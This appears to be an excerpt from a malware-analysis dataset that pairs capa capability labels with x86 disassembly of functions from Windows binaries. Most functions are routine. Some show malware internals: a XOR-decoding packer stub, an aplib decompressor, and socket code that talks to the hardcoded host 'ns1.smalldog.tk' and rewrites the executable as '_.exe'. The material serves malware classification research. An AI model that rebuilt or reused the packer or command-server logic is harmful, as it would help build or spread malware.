joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46a03e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46a076
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004680f5
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004680cd
jmp 0x46a082
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46b735
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46b777
call fcn.004715a2
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46b777
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46b76e
xor eax, eax
jmp 0x46b77f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046b785
pop edi
pop esi
pop ebx
ret 4

Function at 0x471ad2
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x471b00
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x471b1e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00471a38
jmp 0x471b1e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x471b1e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00471a38
test edi, edi
mov eax, edi
jne 0x471b08
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x401430
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x40146d
cmp byte [esi], 0
je 0x40146d
push esi
call sub.WSOCK32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x40146f
push esi
call sub.WSOCK32.dll_gethostbyname
test eax, eax
jne 0x401458
or eax, 0xffffffff
pop esi
ret
cmp word [eax + 8], 2
je 0x401464
or eax, 0xffffffff
pop esi
ret
mov eax, dword [eax + 0xc]
pop esi
mov ecx, dword [eax]
mov eax, dword [ecx]
ret
xor eax, eax
pop esi
ret

Function at 0x401580
Capabilities:
Connect socket
Set socket configuration

Disassembly:
sub esp, 0x14
push esi
push 0x41a0dc
mov dword [esp + 8], 1
call sub.WSOCK32.dll_getprotobyname
mov esi, eax
test esi, esi
jne 0x4015a4
or eax, 0xffffffff
pop esi
add esp, 0x14
ret
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
xor eax, eax
push edx
mov dword [esp + 0xc], eax
mov word [esp + 0xc], 2
mov dword [esp + 0x10], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WSOCK32.dll_htons
mov word [esp + 0xa], ax
movsx eax, word [esi + 8]
push eax
push 1
push 2
call sub.WSOCK32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x4015f0
or eax, eax
pop esi
add esp, 0x14
ret
lea ecx, [esp + 8]
push 0x10
push ecx
push esi
call sub.WSOCK32.dll_connect
test eax, eax
je 0x40160f
push esi
call sub.WSOCK32.dll_closesocket
or eax, 0xffffffff
pop esi
add esp, 0x14
ret
lea edx, [esp + 4]
push 4
push edx
push 1
push 6
push esi
call sub.WSOCK32.dll_setsockopt
test eax, eax
je 0x401632
push esi
call sub.WSOCK32.dll_closesocket
or eax, 0xffffffff
pop esi
add esp, 0x14
ret
mov eax, esi
pop esi
add esp, 0x14
ret

Function at 0x4016b0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x128]
xor esi, esi
xor ebp, ebp
test edi, edi
jle 0x401745
mov ebx, dword [esp + 0x120]
mov eax, dword [0x41a0d8]
test eax, eax
je 0x401745
mov eax, 1
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
lea edx, [ebx + 1]
push eax
push 0
push ecx
push 0
push edx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x28], 0
call sub.WSOCK32.dll_select
test eax, eax
jg 0x401715
inc ebp
cmp ebp, 5
jge 0x401745
jmp 0x401741
lea eax, [esp + 0x18]
push eax
push ebx
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x401741
mov ecx, dword [esp + 0x124]
xor ebp, ebp
push ebp
push edi
lea edx, [esi + ecx]
push edx
push ebx
call sub.WSOCK32.dll_send
test eax, eax
jle 0x401745
add esi, eax
sub edi, eax
test edi, edi
jg 0x4016d0
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x401760
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x128]
xor esi, esi
xor ebp, ebp
test edi, edi
jle 0x4017f5
mov ebx, dword [esp + 0x120]
mov eax, dword [0x41a0d8]
test eax, eax
je 0x4017f5
mov eax, 1
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
lea edx, [ebx + 1]
push eax
push 0
push 0
push ecx
push edx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x28], 0
call sub.WSOCK32.dll_select
test eax, eax
jg 0x4017c5
inc ebp
cmp ebp, 5
jge 0x4017f5
jmp 0x4017f1
lea eax, [esp + 0x18]
push eax
push ebx
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x4017f1
mov ecx, dword [esp + 0x124]
xor ebp, ebp
push ebp
push edi
lea edx, [esi + ecx]
push edx
push ebx
call sub.WSOCK32.dll_recv
test eax, eax
jle 0x4017f5
add esi, eax
sub edi, eax
test edi, edi
jg 0x401780
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x4034e0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x414678
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebp
push edi
mov edi, ecx
mov cx, word [edi + 0xd4]
mov eax, dword [edi + 0xd0]
push ecx
push eax
call fcn.00401430
add esp, 4
push eax
call fcn.00401580
mov ebp, eax
add esp, 8
cmp ebp, 0xffffffff
mov dword [esp + 0xc], ebp
je 0x403643
push ebx
push esi
push 0
mov dword [esp + 0x24], 0x10936
call fcn.00405538
add esp, 4
lea edx, [esp + 0x20]
mov dword [esp + 0x24], eax
push 0
push 8
push edx
push ebp
call sub.WSOCK32.dll_send
mov esi, eax
push 0
lea eax, [esp + 0x1c]
push 8
push eax
push ebp
call sub.WSOCK32.dll_recv
cmp esi, eax
jne 0x40362a
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x24]
cmp ecx, eax
jne 0x40362a
mov edx, dword [esp + 0x18]
inc edx
push edx
push 1
call fcn.00404ed0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40362a
mov eax, dword [esp + 0x18]
push eax
push ebx
push ebp
call fcn.00401760
mov ebp, eax
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp ebp, eax
jne 0x40361d
mov eax, dword [edi + 0x70]
test eax, eax
je 0x4035cb
mov ecx, dword [eax + 8]
push eax
mov dword [edi + 0x70], ecx
call fcn.00404f5d
mov eax, dword [edi + 0x70]
add esp, 4
test eax, eax
jne 0x4035b5
add ebp, ebx
mov esi, ebx
cmp ebx, ebp
mov dword [esp + 0x10], 0
jae 0x40361d
push 0xc
push 1
call fcn.00404ed0
add esp, 8
test eax, eax
je 0x403619
mov edx, dword [esi]
add esi, 8
mov dword [eax], edx
mov cx, word [esi - 4]
mov word [eax + 4], cx
mov dx, word [esi - 2]
mov word [eax + 6], dx
mov ecx, dword [edi + 0x70]
test ecx, ecx
jne 0x40360e
mov dword [edi + 0x70], eax
jmp 0x403615
mov ecx, dword [esp + 0x10]
mov dword [ecx + 8], eax
mov dword [esp + 0x10], eax
cmp esi, ebp
jb 0x4035db
push ebx
call fcn.00404f5d
mov ebp, dword [esp + 0x18]
add esp, 4
push ebp
call sub.WSOCK32.dll_closesocket
pop esi
pop ebx
pop edi
pop ebp
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret
mov edx, dword [0x41a3f0]
mov dword [esp + 8], edx
lea eax, [esp + 8]
push 0x41a200
push eax
mov dword [esp + 0x30], 0
call fcn.0040c798
mov ecx, dword [esp + 0x10]
add esp, 8
push 0
push 0
push ecx
mov ecx, edi
call fcn.0040fe42
mov ecx, edi
call fcn.00402de0
lea ecx, [esp + 8]
mov dword [esp + 0x28], 0xffffffff
call fcn.0040e364
mov ecx, dword [esp + 0x20]
pop edi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x4036a0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x414698
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebp
push edi
mov edi, ecx
mov cx, word [edi + 0xd4]
mov eax, dword [edi + 0xd0]
push ecx
push eax
call fcn.00401430
add esp, 4
push eax
call fcn.00401580
mov ebp, eax
add esp, 8
cmp ebp, 0xffffffff
mov dword [esp + 0x10], ebp
je 0x403868
mov edx, dword [esp + 0x34]
push ebx
push esi
push 0
mov dword [esp + 0x28], edx
call fcn.00405538
add esp, 4
mov dword [esp + 0x28], eax
lea eax, [esp + 0x24]
push 0
push 8
push eax
push ebp
call sub.WSOCK32.dll_send
push 0
lea ecx, [esp + 0x20]
push 8
push ecx
push ebp
mov esi, eax
call sub.WSOCK32.dll_recv
cmp esi, eax
jne 0x40384d
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x28]
cmp edx, eax
jne 0x40384d
mov eax, dword [esp + 0x1c]
inc eax
push eax
push 1
call fcn.00404ed0
mov ebx, eax
add esp, 8
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x40384d
mov ecx, dword [esp + 0x1c]
push ecx
push ebx
push ebp
call fcn.00401760
mov esi, eax
mov eax, dword [esp + 0x28]
add esp, 0xc
cmp esi, eax
jne 0x403844
cmp dword [esp + 0x3c], 0x10937
jne 0x40379e
mov eax, dword [edi + 0x68]
test eax, eax
je 0x4037ba
mov edx, dword [eax]
push eax
mov dword [edi + 0x68], edx
call fcn.00404f5d
mov eax, dword [edi + 0x68]
add esp, 4
test eax, eax
jne 0x403787
jmp 0x4037ba
mov eax, dword [edi + 0x6c]
test eax, eax
je 0x4037ba
mov ecx, dword [eax]
push eax
mov dword [edi + 0x6c], ecx
call fcn.00404f5d
mov eax, dword [edi + 0x6c]
add esp, 4
test eax, eax
jne 0x4037a5
mov eax, dword [esp + 0x10]
xor ebp, ebp
add esi, eax
cmp eax, esi
mov dword [esp + 0x14], esi
jae 0x40383c
mov al, byte [ebx]
test al, al
je 0x40383c
and eax, 0xff
add eax, 5
push eax
push 1
call fcn.00404ed0
mov esi, eax
add esp, 8
test esi, esi
je 0x40382c
xor edx, edx
mov dword [esi], 0
mov dl, byte [ebx]
lea eax, [ebx + 1]
push edx
lea ecx, [esi + 4]
push eax
push ecx
call fcn.00405620
mov eax, dword [esp + 0x48]
add esp, 0xc
cmp eax, 0x10937
jne 0x40381b
mov eax, dword [edi + 0x68]
test eax, eax
jne 0x403827
mov dword [edi + 0x68], esi
jmp 0x40382a
mov eax, dword [edi + 0x6c]
test eax, eax
jne 0x403827
mov dword [edi + 0x6c], esi
jmp 0x40382a
mov dword [ebp], esi
mov ebp, esi
mov eax, dword [esp + 0x14]
xor edx, edx
mov dl, byte [ebx]
lea ebx, [ebx + edx + 1]
cmp ebx, eax
jb 0x4037ca
mov ebp, dword [esp + 0x18]
mov ebx, dword [esp + 0x10]
push ebx
call fcn.00404f5d
add esp, 4
push ebp
call sub.WSOCK32.dll_closesocket
pop esi
pop ebx
pop edi
pop ebp
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 4
mov eax, dword [0x41a3f0]
mov dword [esp + 0x34], eax
lea ecx, [esp + 0x34]
push 0x41a200
push ecx
mov dword [esp + 0x34], 0
call fcn.0040c798
mov edx, dword [esp + 0x3c]
add esp, 8
mov ecx, edi
push 0
push 0
push edx
call fcn.0040fe42
mov ecx, edi
call fcn.00402de0
lea ecx, [esp + 0x34]
mov dword [esp + 0x2c], 0xffffffff
call fcn.0040e364
mov ecx, dword [esp + 0x24]
pop edi
pop ebp
mov dword fs:[0], ecx
add esp, 0x28
ret 4
Function at 0x403c20
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4146b8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push edi
mov edi, ecx
mov cx, word [edi + 0xd4]
mov eax, dword [edi + 0xd0]
push ecx
push eax
call fcn.00401430
add esp, 4
push eax
call fcn.00401580
mov ebx, eax
add esp, 8
cmp ebx, 0xffffffff
je 0x403d19
push esi
push 0
mov dword [esp + 0x1c], 0x10939
call fcn.00405538
add esp, 4
lea edx, [esp + 0x18]
mov dword [esp + 0x1c], eax
push 0
push 8
push edx
push ebx
call sub.WSOCK32.dll_send
mov esi, eax
push 0
lea eax, [esp + 0x14]
push 8
push eax
push ebx
call sub.WSOCK32.dll_recv
cmp esi, eax
jne 0x403d01
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
cmp ecx, eax
jne 0x403d01
mov edx, dword [esp + 0x10]
inc edx
push edx
push 1
call fcn.00404ed0
mov esi, eax
add esp, 8
test esi, esi
je 0x403d01
mov eax, dword [esp + 0x10]
push ebp
push eax
push esi
push ebx
call fcn.00401760
mov ebp, eax
mov eax, dword [esp + 0x20]
add esp, 0xc
cmp ebp, eax
jne 0x403cf7
add edi, 0xd8
mov ecx, edi
call fcn.0040e2ef
push esi
mov ecx, edi
mov byte [esi + ebp], 0
call fcn.0040e3bb
push esi
call fcn.00404f5d
add esp, 4
pop ebp
push ebx
call sub.WSOCK32.dll_closesocket
pop esi
pop edi
pop ebx
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret
mov ecx, dword [0x41a3f0]
mov dword [esp + 8], ecx
lea edx, [esp + 8]
push 0x41a200
push edx
mov dword [esp + 0x2c], 0
call fcn.0040c798
mov eax, dword [esp + 0x10]
add esp, 8
mov ecx, edi
push 0
push 0
push eax
call fcn.0040fe42
mov ecx, edi
call fcn.00402de0
lea ecx, [esp + 8]
mov dword [esp + 0x24], 0xffffffff
call fcn.0040e364
mov ecx, dword [esp + 0x1c]
pop edi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x403d80
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x124
push ebx
push esi
push edi
mov edi, ecx
or ebx, 0xffffffff
mov dword [esp + 0x14], edi
mov dword [esp + 0xc], 0
xor esi, esi
cmp esi, 2
jge 0x403de0
cmp esi, 1
jne 0x403db6
push str.ns1.smalldog.tk
lea ecx, [edi + 0xd0]
call fcn.0040e3bb
mov cx, word [edi + 0xd4]
mov eax, dword [edi + 0xd0]
push ecx
push eax
inc esi
call fcn.00401430
add esp, 4
push eax
call fcn.00401580
mov ebx, eax
add esp, 8
cmp ebx, 0xffffffff
je 0x403d9c
jmp 0x403de9
cmp ebx, 0xffffffff
je 0x403f49
push 0
lea edx, [esp + 0x28]
push 8
push edx
push ebx
mov dword [esp + 0x34], 0x1093a
mov dword [esp + 0x38], 0xc8
call sub.WSOCK32.dll_send
mov esi, eax
push 0
lea eax, [esp + 0x1c]
push 8
push eax
push ebx
call sub.WSOCK32.dll_recv
cmp esi, eax
jne 0x403f34
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
cmp ecx, eax
jne 0x403f34
mov edx, dword [esp + 0x18]
inc edx
push edx
push 1
call fcn.00404ed0
mov esi, eax
add esp, 8
test esi, esi
mov dword [esp + 0x10], esi
je 0x403f34
mov eax, dword [esp + 0x18]
push ebp
push eax
push esi
push ebx
call fcn.00401760
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 0xc
cmp ebp, eax
jne 0x403f2a
lea ecx, [esp + 0x30]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x30]
push 0x2e
push edx
call fcn.00404860
mov edx, eax
add esp, 8
test edx, edx
je 0x403f2a
mov edi, str._.exe
or ecx, 0xffffffff
xor eax, eax
mov byte [edx], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x41a274
mov eax, ecx
mov esi, edi
mov dword [esp + 0x28], eax
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x28]
dec edi
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x34]
push ecx
call fcn.00404e30
mov esi, eax
add esp, 8
test esi, esi
je 0x403f22
mov edx, dword [esp + 0x14]
push esi
push ebp
push 1
push edx
call fcn.004057cd
add esp, 0x10
cmp ebp, eax
jne 0x403f04
mov dword [esp + 0x10], 1
push esi
call fcn.00404d82
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
jne 0x403f22
lea eax, [esp + 0x30]
push eax
call fcn.0040c485
add esp, 4
mov edi, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
push esi
call fcn.00404f5d
add esp, 4
pop ebp
push ebx
call sub.WSOCK32.dll_closesocket
mov eax, dword [esp + 0xc]
test eax, eax
je 0x403f49
mov dword [edi + 0x5c], 1
pop edi
pop esi
pop ebx
add esp, 0x124
ret
Function at 0x409d39
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x41b168
cmp edx, dword [eax]
je 0x409d5b
add eax, 8
inc ecx
cmp eax, 0x41b1f8
jl 0x409d4c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x41b168]
jne 0x409e89
mov eax, dword [0x41d540]
cmp eax, 1
je 0x409e63
test eax, eax
jne 0x409d8c
cmp dword [0x41a7f4], 1
je 0x409e63
cmp edx, 0xfc
je 0x409e89
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x409dc3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00409e90
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00409f80
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x409e06
lea eax, [ebp - 0x1a4]
push eax
call fcn.00409f80
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x416cfc
push edi
call fcn.00405620
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00409e90
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00409ea0
lea eax, [ebp - 0xa0]
push 0x416cdc
push eax
call fcn.00409ea0
push dword [esi + 0x41b16c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00409ea0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040b5c2
add esp, 0x2c
pop edi
jmp 0x409e89
lea eax, [ebp + 8]
lea esi, [esi + 0x41b16c]
push 0
push eax
push dword [esi]
call fcn.00409f80
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x41080f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x410851
call fcn.004131e7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x410851
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x410848
xor eax, eax
jmp 0x410859
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041085f
pop edi
pop esi
pop ebx
ret 4

Function at 0x41398e
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4139bc
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4139da
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004138f4
jmp 0x4139da
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4139da
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004138f4
test edi, edi
mov eax, edi
jne 0x4139c4
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x100c66ca
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.100c6749
jae 0x100c66d6
xor ecx, ecx
call fcn.100c6749
jae 0x100c6700
xor eax, eax
call fcn.100c6749
jae 0x100c6711
mov al, 0x10
call fcn.100c6749
adc al, al
jae 0x100c66f2
jne 0x100c673e
stosb byte es:[edi], al
jmp 0x100c66d7
call fcn.100c6755
dec ecx
loop 0x100c671d
mov eax, ebp
call fcn.100c6753
jmp 0x100c673f
lodsb al, byte [esi]
shr eax, 1
je 0x100c6765
adc ecx, 2
mov ebp, eax
jmp 0x100c673f
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.100c6753
cmp eax, 0x7d00
jae 0x100c673d
cmp eax, 0x500
jae 0x100c673e
cmp eax, 0x7f
ja 0x100c673f
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x100c66d7
pop ebp
ret 8
Function at 0x40f92f
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0040fadf
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x40fa2d
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x40f9d0
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x40fa13
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x40f9e7
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x40fa02
test al, 0x40
je 0x40f9f9
mov ecx, dword [edi + 0x20]
jmp 0x40fa00
test al, 0x80
je 0x40fa13
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x40fa13
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x40f99f
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x42a1b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a40bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00498418
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x42a232
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004960a0
mov eax, dword [eax]
push 0x4fb244
push eax
call fcn.00487794
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004986a3
test bl, bl
je 0x42a232
push 0x4fb244
lea ecx, [esp + 0xc]
call fcn.00498a33
push 0x4fedd4
lea ecx, [esp + 0xc]
call fcn.00498a33
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42a26e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004986a3
jmp 0x42a339
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x42a2f2
lea edx, [esp + 0x7c]
push 0x4fedd0
push edx
call fcn.00487794
add esp, 8
test eax, eax
je 0x42a2f2
lea eax, [esp + 0x7c]
push 0x4fedcc
push eax
call fcn.00487794
add esp, 8
test eax, eax
je 0x42a2f2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x42a282
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004986a3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x42ab30
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x42ab92
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc